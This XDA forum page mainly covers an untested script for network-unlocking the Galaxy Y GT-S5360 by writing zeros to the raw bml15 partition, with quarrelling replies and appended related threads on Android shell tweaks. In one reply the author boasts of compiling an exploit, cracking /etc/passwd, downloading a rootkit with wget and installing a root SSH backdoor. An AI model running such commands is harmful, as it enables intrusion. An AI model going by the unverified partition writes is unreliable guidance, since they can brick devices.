[WIP][ZIP]GT-S5360 network unlock | openline - Galaxy Y GT-S5360 Android Development

credits to devion14 and Doky73
Give thanks to them
from this thread...
this is still a work in progress.
i tried it in my phone, but my phone is already openlined when bought.
so, no changes at all.
hehe.
---
So what is this?
This is a flashable zip which backups your bml15 and then unlocks it.
thats all.
no root needed, no busybox needed.
- xjammetx
DOWNLOAD
shell script source...
#!/sbin/sh
#backup
mkdir /mnt/sdcard/bmlbackup/
cat dev/block/bml15 > /mnt/sdcard/bmlbackup/bml15.img.SAVE
touch /mnt/sdcard/bmlbackup/readme.txt
#openline
dd if=/dev/zero bs=1 count=16 of=/dev/bml15 seek=524360
#build.prop fun and credits
echo "#this_device_has_been_openlined" >> /system/build.prop
echo "#[email protected]" >> /system/build.prop
echo "#jammet_loves_you!" >> /system/build.prop
#notes
echo "'bml15.img.SAVE' is your 'dev/block/bml15' backup" >> /mnt/sdcard/bmlbackup/readme.txt
echo "keep this file, so you can get your warranty back!" >> /mnt/sdcard/bmlbackup/readme.txt
echo " " >> /mnt/sdcard/bmlbackup/readme.txt
echo "credits to [email protected] @symbianize" >> /mnt/sdcard/bmlbackup/readme.txt
echo "http://forum.xda-developers.com/member.php?u=4529683 | http://www.symbianize.com/member.php?u=261969" >> /mnt/sdcard/bmlbackup/readme.txt
echo "credit to [email protected]" >> /mnt/sdcard/bmlbackup/readme.txt
echo "http//forum.xda-developers.com/member.php?u=3992505" >> /mnt/sdcard/bmlbackup/readme.txt
echo "" >> /mnt/sdcard/bmlbackup/readme.txt
echo "zip by [email protected]" >> /mnt/sdcard/bmlbackup/readme.txt
#done!
Click to expand...
Click to collapse
okay, you see,
#!/sbin/sh
there is no /sbin/sh file,
but it will run.
actually it will run even w/out that line..
hehe dont worry.
where's kurotsogi? hehe
update-script
ui_print("GT-S5360");
ui_print("OPENLINE");
ui_print("by devion14 n Doky73");
ui_print("zip by xjammetx");
package_extract_file("openline.sh", "/tmp/openline.sh");
set_perm(0, 0, 0777, "/tmp/openline.sh");
run_program("/tmp/openline.sh");
ui_print("BACKUP: /sdcard/bmlbackup/bml15.img.SAVE");
ui_print("done!");
Click to expand...
Click to collapse
well, you are free to try it.

Please Also Include Relock

yes SGY kernel team leader, aka moderator wannabe?
the secretary actually.
i know you're jealous.
or maybe,
you're not used to give credits...

wow nice,,,how can i test this...im openlined..haha...update my thread with this for feedbacks bbefore noob copy paste it again without proper credits..

xjammetx said:
yes SGY kernel team leader, aka moderator wannabe?
the secretary actually.
i know you're jealous.
or maybe,
you're not used to give credits...
Click to expand...
Click to collapse
what???????
anyways why would i be jealous of an improvised copy paste?
BTW you still have a grudge on me on that no development chatlog that mods deleted?
(I have done nothing to insult you in this thread, yet you insult me?) ROFL
---------- Post added at 10:28 PM ---------- Previous post was at 10:22 PM ----------
devion14 said:
wow nice,,,how can i test this...im openlined..haha...update my thread with this for feedbacks bbefore noob copy paste it again without proper credits..
Click to expand...
Click to collapse
headshot

im not insulting you rr.
im just saying the truth.

this mod won't work. absolutely.
#!/sbin/sh --> the right one should be #!/system/bin/sh

xjammetx said:
im not insulting you rr.
im just saying the truth.
Click to expand...
Click to collapse
read post #3 and put yourself in my shoes and tell me if thats not an insult

whats the fuss with all this openline/unlock? there are a lot of duplicates thread/copy paste threads spawning.

ronnieryan said:
read post #3 and put yourself in my shoes and tell me if thats not an insult
Click to expand...
Click to collapse
sorry man, truth hurts.
haha, you edited post #2,
and i havent quoted that!
you got me there...
---
magpasikat... magpasikat...

kurotsugi said:
this mod won't work. absolutely.
#!/sbin/sh --> the right one should be #!/system/bin/sh
Click to expand...
Click to collapse
okay man, you want me to give you a lesson in linux shell scripting?
i know it doesnt exists.
but it will work.
pm me for a simple testing.

soraci said:
whats the fuss with all this openline/unlock? there are a lot of duplicates thread/copy paste threads spawning.
Click to expand...
Click to collapse
i dunno myself, i think they are trying to make it simple..but still the best thing and most simple of all is the work of devion and doky73.

the command for make a backup is --> dd if=/dev/bml15 of=/mnt/sdcard/bmlbackup/bml15.img.SAVE
then what's the point of these command?
Code:
#build.prop fun and credits
echo "#this_device_has_been_openlined" >> /system/build.prop
echo "#[email protected]" >> /system/build.prop
echo "#jammet_loves_you!" >> /system/build.prop
EDIT: this mod is untested. I won't risk my device using this mod to unlock my phone. why don't you try for yourself?it doesn't matter if your device is unlocked since we can see the result by looking for the backup file.

xjammetx said:
sorry man, truth hurts.
Click to expand...
Click to collapse
what hurts?
BTW sorry for trolling in your thread..i was supposed to help and pinpoint some stuff to help in developing but its not worth it...

kurotsugi said:
the command for make a backup is --> dd if=/dev/bml15 of=/mnt/sdcard/bmlbackup/bml15.img.SAVE
then what's the point of these command?
Code:
#build.prop fun and credits
echo "#this_device_has_been_openlined" >> /system/build.prop
echo "#[email protected]" >> /system/build.prop
echo "#jammet_loves_you!" >> /system/build.prop
Click to expand...
Click to collapse
it writes **** to the build.prop...
just for a signature in your phones hehe.
btw, you dont know echo?

ronnieryan said:
what hurts?
BTW sorry for trolling in your thread..i was supposed to help and pinpoint some stuff to help in developing but its not worth it...
Click to expand...
Click to collapse
oh really?
you know the word help? haha.
i thought you only know...
"take the credit for others work.."
hehe

xjammetx said:
oh really?
you know the word help? haha.
i thought you only know...
"take the credit for others work.."
hehe
Click to expand...
Click to collapse
Yes, i do. And i also know how to help...
i thought you only know...
"take the credit for others work.."
hehe
Click to expand...
Click to collapse
Look who's talking, the improvised copy paste guy

ronnieryan said:
i dunno myself, i think they are trying to make it simple..but still the best thing and most simple of all is the work of devion and doky73.
Click to expand...
Click to collapse
thanks man...its all their work and dedication...i just collected data's and place in one thread for others to use like sir doky did that is why the easy version is developed..now some noobs are just noobs that cant even make a single modification on the copy pasted thread dont know how to give credits and as if they know everything...they just know crap...it is so insulting...
kurotsugi said:
the command for make a backup is --> dd if=/dev/bml15 of=/mnt/sdcard/bmlbackup/bml15.img.SAVE
then what's the point of these command?
Code:
#build.prop fun and credits
echo "#this_device_has_been_openlined" >> /system/build.prop
echo "#[email protected]" >> /system/build.prop
echo "#jammet_loves_you!" >> /system/build.prop
EDIT: this mod is untested. I won't risk my device using this mod to unlock my phone. why don't you try for yourself?it doesn't matter if your device is unlocked since we can see the result by looking for the backup file.
Click to expand...
Click to collapse
xjammetx said:
it writes **** to the build.prop...
just for a signature in your phones hehe.
btw, you dont know echo?
Click to expand...
Click to collapse
xjammetx what is this dude??isnt it just unlocking...dont make fun of build.prop

yup...I know about echo but I think its useless to put them on build.prop file. the same question applied for you. do you know what is the function of 'cat' command?
btw, I'm here not to start a fight. these are only my suggestion to make your mod work on every device. you may not believe my words but you can try it by yourself to figure if my suggestion work or not.

i know man...
i do linux ****s every day.
i do things like this...
gcc exploit.c -o exploit
chmod +x exploit
/bin/sh -i
cat /etc/passwd (try to crack it, if not...)
wget http://xxx..xxx.xxx.xxx/priv8rk.tar.gz
tar -zxvf priv*
cd priv8rk
./install xjammetx 6606
then imma connect on its ssh port 6606 haha.
with user root pass xjammetx
hehe if you know what i do...

Related

shell bash for android

hi,
i compiled bash and added support for executing file /sdcard/bash_profile, so you can set PATH and PS1 variables there, for example...
if someone is interested, there it is for download
http://pub.mzet.net/bash
for become default shell copy bash to /system/bin/bash a then run:
Code:
cd /system/bin
chmod 0755 bash
mv sh sh0
ln -s bash sh
mzet said:
hi,
i compiled bash and added support for executing file /sdcard/bash_profile, so you can set PATH and PS1 variables there, for example...
if someone is interested, there it is for download
http://pub.mzet.net/bash
for become default shell copy bash to /system/bin/bash a then run:
Code:
cd /system/bin
chmod 0755 bash
mv sh sh0
ln -s bash sh
Click to expand...
Click to collapse
NICE! Good job mzet. I missed bash and its wonderful auto complete. This should help spur better scripting with all the functionality that bash supports. No more semicolons at the end of each line in a shell script.
On a side note, we should be able to add the following to init.rc rather than symlinking sh -> bash
export SHELL /system/bin/bash
here is example of my /sdcard/bash_profile
Code:
PATH=/sbin:/system/xbin/bb:/system/xbin:/system/bin
if [[ ${EUID} == 0 ]] ; then
PS1='\[\033[01;31m\]\h\[\033[01;34m\] \W \$\[\033[00m\] '
else
PS1='\[\033[01;32m\]\h\[\033[01;34m\] \w \$\[\033[00m\] '
fi
it shows localhost in green color when user is logged or in red color when root is logged...
shafty023 said:
On a side note, we should be able to add the following to init.rc rather than symlinking sh -> bash
export SHELL /system/bin/bash
Click to expand...
Click to collapse
strange. is this variable used? when i execute "echo $SHELL" it writes "/bin/sh", but it does not exists, it should write /system/bin/sh, i think
"/bin/sh" is ok. It's in boot.img...(respectively in ramdisk). Check out some ramdisk
mzet said:
strange. is this variable used? when i execute "echo $SHELL" it writes "/bin/sh", but it does not exists, it should write /system/bin/sh, i think
Click to expand...
Click to collapse
Ya I noticed that after posting my last message. Perhaps it's not used. I'll try and find some time to change that in init.rc and reboot to see if it takes effect
shafty023 said:
Ya I noticed that after posting my last message. Perhaps it's not used. I'll try and find some time to change that in init.rc and reboot to see if it takes effect
Click to expand...
Click to collapse
I tried adding that to my init.rc and not doing the symlink and lost my shell, which I expected. I figured a reboot would fix it, but got stuck @ boot image. No problem...recent nandroid.
EDIT: Using the symlink works fine for now. Thank you!
Very cool. Thanks for giving us bash for Andriod! While we're thinking of low level tools, anyone have a version of busybox with colorized 'ls'?
Anyone know when /system/sd is mounted in the cyano ROMs? If it's available early enough, we could copy bash to /system/sd and avoid taking up 2.5MB in /system/bin.
it's too big, because everything is built statically
You know, before going off and compiling things (wasting your time), it is not too bad an idea to do a search... http://forum.xda-developers.com/showpost.php?p=3839562&postcount=4 to see if what you want is already done.
mzet said:
hi,
i compiled bash and added support for executing file /sdcard/bash_profile, so you can set PATH and PS1 variables there, for example...
if someone is interested, there it is for download
http://pub.mzet.net/bash
for become default shell copy bash to /system/bin/bash a then run:
Code:
cd /system/bin
chmod 0755 bash
mv sh sh0
ln -s bash sh
Click to expand...
Click to collapse
lbcoder said:
You know, before going off and compiling things (wasting your time), it is not too bad an idea to do a search... http://forum.xda-developers.com/showpost.php?p=3839562&postcount=4 to see if what you want is already done.
Click to expand...
Click to collapse
In that version of bash from the link you provided, the dev had an issue with the <enter> key working. This issue does not exist in this version. There's nothing wrong with someone compiling and providing their own version of something. This is exactly the same reason ROM developers on here create their own (and for the most part identical) ROMs as the next guy. We shouldn't hamper innovation, we should support it. Progress is measured by how well someone can build off another's innovation.
Plane->Jet->Space Shuttle. Imagine if we told the guy who invented the jet, hey retard, someone already made an F16, take your stealth bomber and shove it
shafty023 said:
in that version of bash from the link you provided, the dev had an issue with the <enter> key working. This issue does not exist in this version. There's nothing wrong with someone compiling and providing their own version of something. This is exactly the same reason rom developers on here create their own (and for the most part identical) roms as the next guy. We shouldn't hamper innovation, we should support it. Progress is measured by how well someone can build off another's innovation.
Plane->jet->space shuttle. Imagine if we told the guy who invented the jet, hey retard, someone already made an f16, take your stealth bomber and shove it
Click to expand...
Click to collapse
well said shafty!!
that's big!
That had nothing to do with the bash, it had to do with "better terminal emulator".
And your analogies are wrong since the end result is the SAME THING.
If you want to contribute to things, invent something NEW. Don't keep on reinventing the wheel, we already know that its round.
shafty023 said:
In that version of bash from the link you provided, the dev had an issue with the <enter> key working. This issue does not exist in this version. There's nothing wrong with someone compiling and providing their own version of something. This is exactly the same reason ROM developers on here create their own (and for the most part identical) ROMs as the next guy. We shouldn't hamper innovation, we should support it. Progress is measured by how well someone can build off another's innovation.
Plane->Jet->Space Shuttle. Imagine if we told the guy who invented the jet, hey retard, someone already made an F16, take your stealth bomber and shove it
Click to expand...
Click to collapse
Shafty, you've created a better product. Good Job.
lbcoder said:
You know, before going off and compiling things (wasting your time), it is not too bad an idea to do a search... http://forum.xda-developers.com/showpost.php?p=3839562&postcount=4 to see if what you want is already done.
Click to expand...
Click to collapse
Actually, I'm using mzet's version instead because it was built using a newer glibc and it's slightly smaller.
So thank you, mzet.
PS: using uclibc might result in smaller executables.
lbcoder said:
That had nothing to do with the bash, it had to do with "better terminal emulator".
And your analogies are wrong since the end result is the SAME THING.
If you want to contribute to things, invent something NEW. Don't keep on reinventing the wheel, we already know that its round.
Click to expand...
Click to collapse
Being a senior member you should know better than to put people down. Let's not go down this road, there's plenty of development to do and no time to do it.
shafty023 said:
Ya I noticed that after posting my last message. Perhaps it's not used. I'll try and find some time to change that in init.rc and reboot to see if it takes effect
Click to expand...
Click to collapse
did this end up working?
ttabbal said:
Anyone know when /system/sd is mounted in the cyano ROMs? If it's available early enough, we could copy bash to /system/sd and avoid taking up 2.5MB in /system/bin.
Click to expand...
Click to collapse
It won't work as default shell but if you use better terminal just make it the initial command and it can be on sd. Also it makes it persistent even through wipes.
in better terminal:
Code:
su -c "/system/sd/bin/bash --rcfile /system/sd/bashrc"
then in /system/sd/bashrc:
Code:
export PATH=${PATH}:/system/sd/bin
if [[ $- != *i* ]] ; then
# Shell is non-interactive. Be done now!
return
fi
if [[ ${EUID} == 0 ]] ; then
PS1='\[\033[01;31m\]\h\[\033[01;34m\] \W \$\[\033[00m\] '
else
PS1='\[\033[01;32m\]\[email protected]\h\[\033[01;34m\] \w \$\[\033[00m\] '
fi

Battery Tweak Beta v2 *not working*

Ok guys here is a VERY beta release, it is based off collin_ph's rc1 theres bugs and glitches galore but as this is my first major project for coding bear with me.
http://github.com/Shabbypenguin/battery-tweak-v3
all props go to collin_ph over on the hero cdma board. if you enjoyed this on the hero then i ask you donate to him. (he's trying to take his kids to see teh last space shuttle launch) http://forum.xda-developers.com/showthread.php?t=791060
--------------------------------------------------------------------------------------------------------------
Release time!!!!!! ok guys for the first bit batt.sh is working i can confirm that, now is it doing anything i have no idea but thats what im hoping yall can help me figure out.
batt.conf is set to 800 i will upload a other packages that will run on 1.2ghz and 1ghz for your choosing until i get batt-cfg sorted out
now heres the bad news you need to do a bit of work to get this running, working on a script right now that will do most of the hard work for ya but its not gunna be so easy til we have busybox support and syslinked items in all kernels/roms til then i can only guarantee that this will work on the phoenix kernel anyways without further ado here is teh commands:
1) download the intended zip
2) flash the zip
3) run busybox.sh
4) run batt.sh in mobile emulator and it should hang hit the back key
5) enter in shell again and feel free to make sure its running with "pidof batt.sh"
Click to expand...
Click to collapse
remember this clashes with setcpu
UPDATE!!!
been informed of some issues
this will not auto start on your phone
Installed it and I'm getting the following when I run the batt.sh.
# batt.sh
batt.sh
1: not found
------------------------------------------------------: not found
------------------------------------------------------: not found
Starting up
Defining Functions
expr: applet not found
#
Click to expand...
Click to collapse
are you rooted? which kernel are you using? if expr wasnt found then you dont have busybox installed
I'm rooted and running the latest Mixed Up kernel. Busybox is installed and I even installed the busybox commands into /system/bin
shabbypenguin said:
are you rooted? which kernel are you using? if expr wasnt found then you dont have busybox installed
Click to expand...
Click to collapse
hmm if you dont mind in terminal trying these commands
busybox pidof
pidof
busybox expr
expr
Click to expand...
Click to collapse
and let me know what the outputs are please
kaokollaa its in op
shabbypenguin said:
hmm if you dont mind in terminal trying these commands
and let me know what the outputs are please
kaokollaa its in op
Click to expand...
Click to collapse
Here you go. I tried uninstalling and re-installing busybox but got the same thing. Expr isn't in /system/bin
# busybox pidof
busybox pidof
# pidof
pidof
# busybox expr
busybox expr
expr: applet not found
# expr
expr
expr: not found
#
Click to expand...
Click to collapse
ok well i made the script based off thinking there was no busybox support ill whip another one tonight that doesnt have it, expr isnt going to be in /bin as its a command used by busybox, by linking it you created a shortcut. i know for myself none of the kernels or roms have it linked from the get go so i didnt take into consideration that most people may link em
Tyvm!! I was going to ask colin to port it to the epic. I loved my hero because of froyo + colin tweak
lol i asked collin to do it, and he replied with his github link, so i began to work on it. had some help from decad3nce and collin and various other people. like i said it is very beta right now but im hoping to improve it
When is the next one coming? Cause this one didnt work for me
when did it work? did it flash did it not find expr like previous posts?
if your busybox is linked and you get the expr not found error please try using this version of batt.sh and batt-diag
http://github.com/Shabbypenguin/Battery
youll have to download it and adb push it to /system/bin and then chmod it to 755
I'll test it in the morning, night penguin
Sent from my SPH-D700 using XDA App
alright man thanks for the help
This is what I get when I run the batt.sh from your github.
# batt.sh
batt.sh
html: not found
batt.sh: 8: Syntax error: newline unexpected
#
Click to expand...
Click to collapse
pjree said:
This is what I get when I run the batt.sh from your github.
Click to expand...
Click to collapse
It sounds like you saved the HTML formatting from the github page - unfortunately you can't simply right-click-save the file there.
Best bet is to use a GIT client to download it.
Failing that, just view each script and copy/paste the contents.
cicada said:
It sounds like you saved the HTML formatting from the github page - unfortunately you can't simply right-click-save the file there.
Best bet is to use a GIT client to download it.
Failing that, just view each script and copy/paste the contents.
Click to expand...
Click to collapse
Yup. That was the problem.
Okay. I downloaded through git on my linux partition and pushed them to my phone. I'm having a problem with it not being able to open the batt.conf file in /system/etc
# cp /sdcard/batt.conf /system/etc/batt.conf
cp /sdcard/batt.conf /system/etc/batt.conf
# chmod 0755 /system/etc/batt.conf
chmod 0755 /system/etc/batt.conf
# batt.sh
batt.sh
: not found┐#!/system/bin/sh
: error 22
: not found
.: Can't open /system/etc/batt.conf
#
Click to expand...
Click to collapse
my apologies ive been pretty busy ill try making a flashable zip for yall again tonight, but the one youd need off github was if you tried the other one and wasnt working, batt.conf is part of the github as well.
im more concerned about why your phone couldnt find bin/sh tho..... that would mean it wouldnt be able to run any scripts :O
I don't know either. sh is in the there in my /system/bin folder. I'll play around with it when I get home tonight.
Thanks.
edit: Okay. I edited the first line from "!/system/bin/sh" to "!sh" and the script looks like it found sh. This is the output now.
# batt.sh
batt.sh
: error 22
: error 22
: not found
.: Can't open /system/etc/batt.conf
#
Click to expand...
Click to collapse
shabbypenguin said:
my apologies ive been pretty busy ill try making a flashable zip for yall again tonight, but the one youd need off github was if you tried the other one and wasnt working, batt.conf is part of the github as well.
im more concerned about why your phone couldnt find bin/sh tho..... that would mean it wouldnt be able to run any scripts :O
Click to expand...
Click to collapse
yea try pushing batt.conf to /system/etc and see what happens then
shabbypenguin said:
yea try pushing batt.conf to /system/etc and see what happens then
Click to expand...
Click to collapse
That's where I've been pushing the batt.conf. I still get the same message.

[UBUNTU LINUX] ੴ Samsung Galaxy 3 Rom Updater for Lestatious Roms (Bat Way) ;) ੴ

[UBUNTU LINUX] ੴ Samsung Galaxy 3 Rom Updater for Lestatious Roms (Bat Way) ;) ੴ
[UBUNTU LINUX] ੴ Samsung Galaxy 3 Rom Updater for Lestatious Roms (Batch file Way) ੴ
******************************************
*** About SG3 Rom Updater ***
******************************************
# What is it :
with this little script you can Update a Custom Rom
made from Lestatious on XDA with UBUNTU
I am trying hard so no ETA thanks to all and especially to Lestations for his perfect and simple way to Update the Custom Roms....
Any Help is welcome...
[email protected]
nikkpap said:
[UBUNTU LINUX] ੴ Samsung Galaxy 3 Rom Updater for Lestatious Roms (Batch file Way) ੴ
******************************************
*** About SG3 Rom Updater ***
******************************************
# What is it :
with this little script you can Update a Custom Rom
made from Lestatious on XDA with UBUNTU
I am trying hard so no ETA thanks to all and especially to Lestations for his perfect and simple way to Update the Custom Roms....
Any Help is welcome...
nikkpap[email protected]
Click to expand...
Click to collapse
Nice! That'd be awesome
So how you goin to do this? U made a script that converts the windows shell commands to Linux, so u just can run any lestatious script, or u converted the script itself and just use the payload?
----------------------------------------
tapatalked
FadeFx said:
So how you goin to do this? U made a script that converts the windows shell commands to Linux, so u just can run any lestatious script, or u converted the script itself and just use the payload?
----------------------------------------
tapatalked
Click to expand...
Click to collapse
thanks for the replay... but with a quick search in Google you can realize that you can't convert automatically a Dos script to Unix script so...
the only thing i do is to read the algorithm, and use it in my script... (in no way i say that the source is mine the source is from <<Lestatious>> Batch file...). the only thing i want to arcive is not to boot in the [email protected]!#!$g windows just to upgrate my rom i hate the [email protected]!#!$g windows...
This would be cool! If you need any help, (not really a linux user) I can try!
That would be great...
I am also an Ubuntu Fanatic!.... if you want any help with linux/ubuntu just tell. Also why dont you post the script here to take a look?
This is awesome! I have a friend who couldn't flash their phone cause they had only Ubuntu.
xqtr said:
That would be great...
I am also an Ubuntu Fanatic!.... if you want any help with linux/ubuntu just tell. Also why dont you post the script here to take a look?
Click to expand...
Click to collapse
Because the script consists of about 50 separate scripts
Make a package/zip and upload it... ;P~~
xqtr said:
Make a package/zip and upload it... ;P~~
Click to expand...
Click to collapse
Hmm. I could that right now. Hold on a second.
u put ek onkar.......y?
not that i oppose it,just wondering.
heavens dragon said:
u put ek onkar.......y?
not that i oppose it,just wondering.
Click to expand...
Click to collapse
Not everyone has Windows?
Here is the .bat files! I left the folders in there so you could see the structure.
The Dark Lestat said:
Not everyone has Windows?
Click to expand...
Click to collapse
not talking to you
and im talking abt the symbol the topic starter has put on topic title,it's one of holy symbol of Sikh religion (one of the religion of india )
heavens dragon said:
not talking to you
and im talking abt the symbol the topic starter has put on topic title,it's one of holy symbol of Sikh religion (one of the religion of india )
Click to expand...
Click to collapse
Oh. Sorry
great i love ubuntu 11.04
The Dark Lestat said:
This would be cool! If you need any help, (not really a linux user) I can try!
Click to expand...
Click to collapse
thanks mate i will ask .... bravo for your awesome work...
xqtr said:
That would be great...
I am also an Ubuntu Fanatic!.... if you want any help with linux/ubuntu just tell. Also why dont you post the script here to take a look?
Click to expand...
Click to collapse
#!/bin/bash
# What is it : with this little script you can Update a Custom Rom
# made from Lestatious on XDA with UBUNTU
#
# How to Use : the only think you have to do is,
# $ sudo chmod +x N.U.B.U.sh ( to make it executable )
# $ sudo sh N.U.B.U.sh ( or run it with double click )
#
# By Whom : - (nikkpap) the idea of a universal easy linux rom updater...
# - (cjay554) thank you mate you are like my lifejacket from 8.04 LTS mersi
# - (arand) for the timer exept one mistake he did
# - (wizel) best friend he made all the corrections.
# - (Lestatious) from XDA for the source code and idea to make the dos way... thanks man keep up...
# License: LGPL v2 open source you may edit all the code... ੴ ੴ ੴ ੴ ੴ ....
x="noexit"
Time=`date +%c`
while [ $x != "exit" ]; do
Option=$(zenity --height=550 --width=500 --list --title "Samsung Galaxy 3 Rom Updater for Ubuntu ver.0.1" --text " $Time " --radiolist --column "Pick" --column "Option" TRUE "Update ROM with CWM Recovery ZIP Style" FALSE "Backup EFS" FALSE "Convert File Systems" FALSE "Apply Lagfix" FALSE "Wipe Data" FALSE "Change Theme with CWM Recovery ZIP Style" FALSE "Change Icons with CWM Recovery ZIP Style" FALSE "Choose Launchers" FALSE "Choose Keyboards" FALSE "Change SMS/MMS App" FALSE "Change Boot Animation" FALSE "Change Picture Viewer" FALSE "Mount System As Read/Write" FALSE "Reboot Device" FALSE "Download Mode" FALSE "Recovery Mode" FALSE "Clear User Configurations" FALSE "About" FALSE "Exit");
if [ "$Option" = "About" ]; then
zenity --info --title "About SG3 Rom Updater" --text "
************************************************
*** About SG3 Rom Updater ***
************************************************
# What is it :
with this little script you can Update a Custom Rom
made from Lestatious on XDA with UBUNTU
# How to Use :
The only think you have to do is,
$ sudo chmod +x SG3_Rom_Updater.sh (to make it executable)
$ sudo sh SG3_Rom_Updater.sh (or run it with double click)
# By Whom :
- (nikkpap) the idea fo a Ubuntu Way...
- (cjay554) thank you mate you are like my lifejacket
from 8.04 LTS mersi
- (arand) for the timer exept one mistake he did
- (wizel) best friend he made all the corrections.
- (Lestatious) from XDA for the source code and idea to
make the dos way... thanks man keep up...
- (yannis251r) My Best Friend who learn me how to
Love... Ski !!!
# License :
- LGPL v2 open source you may edit all the code..."
elif [ "$Option" = "Exit" ]; then
zenity --question --title "Exit Comfirmation" --text "Are you sure you want to Exit.? ੴ ";
if [ "$?" -eq "0" ];
then x="exit"
fi
elif [ "$Option" = "Update ROM with CWM Recovery ZIP Style" ]; then
zenity --info --title "About N.A.B.U." --text "About N.A.B.U."
elif [ "$Option" = "Reboot Device" ]; then
adb -d reboot
elif [ "$Option" = "Download Mode" ]; then
adb -d reboot download
elif [ "$Option" = "Recovery Mode" ]; then
adb -d reboot recovery
elif [ "$Option" = "Mount System As Read/Write" ]; then
adb shell "mount -o remount,rw /dev/block/stl9 /system"
fi
done
Chesnut said:
This is awesome! I have a friend who couldn't flash their phone cause they had only Ubuntu.
Click to expand...
Click to collapse
until we do this ... just install a virtual machine... with http://www.virtualbox.org/
thanks ....
The Dark Lestat said:
Because the script consists of about 50 separate scripts
Click to expand...
Click to collapse
no lestat .... in the stupid dos you need this in unix is easer to do this in one script and about 300 lines ....

[Q]O3D Kernel Base address ?

What's base address for Optimus 3D?
Plz Hlp...
if u are referring to boot.img I think this is the answer
https://github.com/CyanogenMod/lge-....6.35/arch/arm/mach-msm/include/mach/memory.h
tnx!
Claudio67 said:
if u are referring to boot.img I think this is the answer
github.com/CyanogenMod/lge-kernel-cosmo/blob/android-omap-2.6.35/arch/arm/mach-msm/include/mach/memory.h
Click to expand...
Click to collapse
Thank you very much!
But.. It doesn't work..
sorry mate but I'm stuck at the same point
I didn't find a way to repack boot.img
Claudio67 said:
sorry mate but I'm stuck at the same point
I didn't find a way to repack boot.img
Click to expand...
Click to collapse
Still stucked on the same point as well mate. No success at all.
Sent from my LG-P920 using XDA App
ThiaiZ said:
Still stucked on the same point as well mate. No success at all.
Sent from my LG-P920 using XDA App
Click to expand...
Click to collapse
Had the same problem until I finally asked Arcee (Ricardo the CM dev) all creds to him
He told med you need to use
Code:
mkimage -A ARM -T multi -n "My Bootimg" -C None -a 0x80008000 -e 0x80008000 -d kernel-file:ram-file boot.img
also I did a bit of trial and error and found out that instead of 2048 stripping when doing a normal separation of kernel and ram (from a boot.img) you just need to remove the first 76, hope this helps, I've tried it and it works without a hitch.
Edit:
In Ubuntu you just need to do a
Code:
sudo apt-get install uboot-mkimage
to get the right software
Echts said:
Had the same problem until I finally asked Arcee (Ricardo the CM dev) all creds to him
He told med you need to use
Code:
mkimage -A ARM -T multi -n "My Bootimg" -C None -a 0x80008000 -e 0x80008000 -d kernel-file:ram-file boot.img
also I did a bit of trial and error and found out that instead of 2048 stripping when doing a normal separation of kernel and ram (from a boot.img) you just need to remove the first 76, hope this helps, I've tried it and it works without a hitch.
Edit:
In Ubuntu you just need to do a
Code:
sudo apt-get install uboot-mkimage
to get the right software
Click to expand...
Click to collapse
ohhhh.... HUGE thanks for sharing this, I was stuck into repacking procedure now I hope I will be able to move on! Again thank you very much and I'm happy to see that people like you share his knowledge, this is the way to let our forum grow up, so in the future we will see oc, more battery life

[help] help me please

Click to expand...
Click to collapse
how can i repaired my problem? help me please
pinahan_123 said:
how can i repaired my problem? help me please
Click to expand...
Click to collapse
Re-flash to the Stock ROM through ODIN.
u can get the STOCK ROM for your Device from the "sammobile.com"
v_singh said:
Re-flash to the Stock ROM through ODIN.
u can get the STOCK ROM for your Device from the "sammobile.com"
Click to expand...
Click to collapse
Stop spamming, please.
@pinahan_123, follow this https://www.youtube.com/watch?v=My_g28MrlwU.
MirXas said:
Stop spamming, please.
@pinahan_123, follow this https://www.youtube.com/watch?v=My_g28MrlwU.
Click to expand...
Click to collapse
Hmm.. well mr. Senior member I have no intention to spam here.
Tell me if my method is wrong.
It's just a another but long and painfull method that I know.
If he doesn't like this method he will not attempt it.
So pleased don't.
Thanks.
@pinahan_123
I had the same problem.. do this in terminal emulator
su
echo -n ON >> /efs/FactoryApp/keystr
echo -n ON >> /efs/FactoryApp/factorymode
chown 1000.1000 /efs/FactoryApp/keystr
chown 1000.1000 /efs/FactoryApp/factorymode
chmod 0744 /efs/FactoryApp/keystr
chmod 0744 /efs/FactoryApp/factorymode
reboot
If you get error saying no space available, install root browser and go to "efs" folder.. now delete anything which is consuming space...
and try again...
or else
Install root explorer and open.
Go to efs/Factoryapp folder
Create a new file 'factorymode'
Open the file and type 'ON' and click save.
Create a new file 'keystr'
Open the file and type 'ONON' and click save
and change permissions to 0744 for both the documents..
I bet your lockscreen and power button are not working properly...
Press Thanks If this helped!

Categories

Resources